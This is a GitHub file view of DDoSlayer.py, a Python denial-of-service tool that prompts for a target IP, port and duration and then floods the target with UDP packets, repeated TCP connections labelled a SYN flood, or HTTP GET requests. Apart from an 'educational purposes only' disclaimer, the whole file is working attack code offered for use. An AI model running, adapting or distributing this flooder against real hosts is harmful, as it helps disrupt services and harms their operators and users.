forked from blackhatethicalhacking/DDoSlayer
-
Notifications
You must be signed in to change notification settings - Fork 0
/
DDoSlayer.py
142 lines (122 loc) · 4.42 KB
/
DDoSlayer.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
from termcolor import colored
import sys
import os
import time
import socket
import random
# Clear the terminal
os.system("clear")
os.system("figlet DDoSlayer")
print()
print(colored("Author : Chris 'SaintDruG' Abou-Chabke", 'green'))
print(colored("Website : https://www.blackhatethicalhacking.com", 'magenta'))
print(colored("Github : https://github.com/blackhatethicalhacking", 'red'))
print(colored("YouTube : https://www.youtube.com/channel/UC7-AsunT7zO-ny5-U8glqkw", 'green'))
print(colored("Linkedin : https://www.linkedin.com/company/black-hat-ethical-hacking/", 'magenta'))
print(colored("Twitter : https://twitter.com/secur1ty1samyth", 'green'))
print(colored("Offense is always the best defense!", 'magenta'))
print(colored("This tool is written for Educational purposes only - helping the defensive team look into how such attacks take place.", 'cyan'))
print(colored("BHEH Is not responsible for misusing it and must have an NDA signed to perform such attacks", 'red'))
print(colored("You are using DDoSlayer Version: 2.0", 'yellow'))
print()
# Prompt for target IP and port
ip = input("Enter the target IP: ")
try:
port = int(input("Enter the target port: "))
except ValueError:
print("Invalid port. Exiting...")
sys.exit()
# Prompt for attack duration
try:
dur = int(input("Enter the duration of the attack in seconds: "))
except ValueError:
print("Invalid duration. Exiting...")
sys.exit()
# Function to perform the UDP Flood attack
def udp_flood(ip, port, message, dur):
# Create the UDP socket
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# Set a timeout for the socket so that the program doesn't get stuck
s.settimeout(dur)
# The IP address and port number of the target host
target = (ip, port)
# Start sending packets
start_time = time.time()
packet_count = 0
while True:
# Send the message to the target host
try:
s.sendto(message, target)
packet_count += 1
print(f"Sent packet {packet_count}")
except socket.error:
# If the socket is not able to send the packet, break the loop
break
# If the specified duration has passed, break the loop
if time.time() - start_time >= dur:
break
# Close the socket
s.close()
# Function to perform the SYN Flood attack
def syn_flood(ip, port, duration):
sent = 0
timeout = time.time() + int(duration)
while True:
try:
if time.time() > timeout:
break
else:
pass
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
sent += 1
print(f"SYN Packets sent: {sent} to target: {ip}")
sock.close()
except OSError:
pass
except KeyboardInterrupt:
print("\n[*] Attack stopped.")
sys.exit()
finally:
sock.close() # Make sure to close the socket in all cases
# Function to perform the HTTP Flood attack
def http_flood(ip, port, duration):
# create a socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# create HTTP request
http_request = b"GET / HTTP/1.1\r\nHost: target.com\r\n\r\n"
sent = 0
timeout = time.time() + int(dur)
while True:
try:
if time.time() > timeout:
break
else:
pass
# Re-create the socket for each iteration
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
sock.sendall(http_request)
sent += 1
print(f"HTTP Packets sent: {sent} to target: {ip}")
except KeyboardInterrupt:
print("\n[-] Attack stopped by user")
break
sock.close()
# Prompt for the type of attack
attack_type = input(colored(
"Enter the type of attack (Choose Number) (1.UDP/2.HTTP/3.SYN): ", "green"))
if attack_type == "1":
message = b"Sending 1337 packets baby"
print(colored("UDP attack selected", "red"))
udp_flood(ip, port, message, dur)
print(colored("UDP attack completed", "red"))
elif attack_type == "3":
print(colored("SYN attack selected", "red"))
syn_flood(ip, port, dur)
elif attack_type == "2":
print(colored("HTTP attack selected", "red"))
http_flood(ip, port, dur)
else:
print(colored("Invalid attack type. Exiting...", "green"))
sys.exit()